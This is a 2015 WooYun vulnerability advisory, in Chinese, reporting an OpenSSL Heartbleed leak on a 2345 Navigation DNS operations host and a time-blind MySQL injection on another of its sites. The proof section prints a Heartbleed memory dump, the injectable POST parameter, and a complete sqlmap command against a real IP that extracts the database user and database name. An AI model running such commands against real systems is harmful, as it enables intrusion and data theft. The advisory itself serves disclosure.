当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-094182

漏洞标题：2345导航DNS运维站点OpenSSL心脏滴血和另一站点MySQL注射

相关厂商：2345网址导航

漏洞作者： lijiejie

提交时间：2015-01-27 16:12

修复时间：2015-03-13 16:14

公开时间：2015-03-13 16:14

漏洞类型：系统/服务补丁不及时

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-27： 细节已通知厂商并且等待厂商处理中
2015-01-28： 厂商已经确认，细节仅向厂商公开
2015-02-07： 细节向核心白帽子及相关领域专家公开
2015-02-17： 细节向普通白帽子公开
2015-02-27： 细节向实习白帽子公开
2015-03-13： 细节向公众公开

简要描述：

2345导航DNS运维平台OpenSSL心脏滴血，另一站点存在MySQL注射

详细说明：

OpenSSL Heart Bleeding漏洞：

183.136.203.191	191dns.ruichuang.net


2345的内部系统使用域名ruichuang.net。
SQL注射位于：

POST http://183.136.203.105/help/detail.php
act=feedback&id=1*&val=2


参数id可注入,time blind。 该站点实际是jifen.2345.com。但线上的站点注射已经修复了。

漏洞证明：

OpenSSL Heart Bleeding：

Gecko) Chrome/38.0.2125.24 Safari/537.36..Referer: https://191dns.ruichuang.net/
recordList.php?searchtype=&keyword=203.10&record_type=A&room=&isbeijl=&sousuan=%
A1%A1%CB%D1%CB%F7%A1%A1&domain=2345.com..Accept-Encoding: gzip,deflate..Accept-L
.@....SC[...r....+..H...9..w.3....f.....".!.9.8...5.....3.2.....E.D...../...A...
I.....4.2...#.Request..Referer: https://191dns.ruichuang.net/recordList.php?sear
chtype=&keyword=203.10&record_type=A&room=&isbeijl=&sousuan=%A1%A1%CB%D1%CB%F7%A
1%A1&domain=2345.com..Host: 191dns.ruichuang.net..Connection: Keep-alive..Accept
-Encoding: gzip,deflate..Accept: */*.....M.N..>..f...N...R}4ns:xsd="http://www.w
3.org/1999/XMLSchema"  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"  xm
lns:m0="http://tempuri.org/"  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/en
coding/" xmlns:urn="http://umbraco.org/webservices/">     <SOAP-ENV:Header/>
 <SOAP-ENV:Body>        <urn:update>           <urn:carrier>             <urn:Id
>1048</urn:Id>             <urn:MastertemplateId>1047</urn:MastertemplateId>
         <urn:MasterPageFile>test</urn:MasterPageFile>             <urn:Name>tes
t</urn:Name>             <urn:Alias>test</urn:Alias>             <urn:Design>tes
t</urn:Design>           </urn:carrier>           <urn:username>test</urn:userna
me>           <urn:password>test</urn:password>        </urn:update>     </SOAP-
ENV:Body></SOAP-ENV:Envelope>.]I.@c..@.k.j..@..25.....1.....A.B.C.D...>.:.;.<...
[.2...K.L.M.N.O.P.Q.R.S.]...l...i.w.|.\.....e.f.g.....x...4.5.6.


SQL注射：

sqlmap.py -u "http://183.136.203.105/help/detail.php" --data="act=feedback&id=1*&val=2"  --dbms=MySQL --current-user
current user:    'my_2345_drop_new@172.16.%'
current database:    'my_2345'

修复方案：

升级OpenSSL
过滤参数

版权声明：转载请注明来源 lijiejie@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2015-01-28 11:36

厂商回复：

感谢您对2345的关注，问题会尽快修复

最新状态：

暂无

漏洞评价：

评论

  1. 2015-01-27 16:45 | 动后河 ( 实习白帽子 | Rank:51 漏洞数:13 | ☭)

    2345导航， lijiejie已经注意你很久了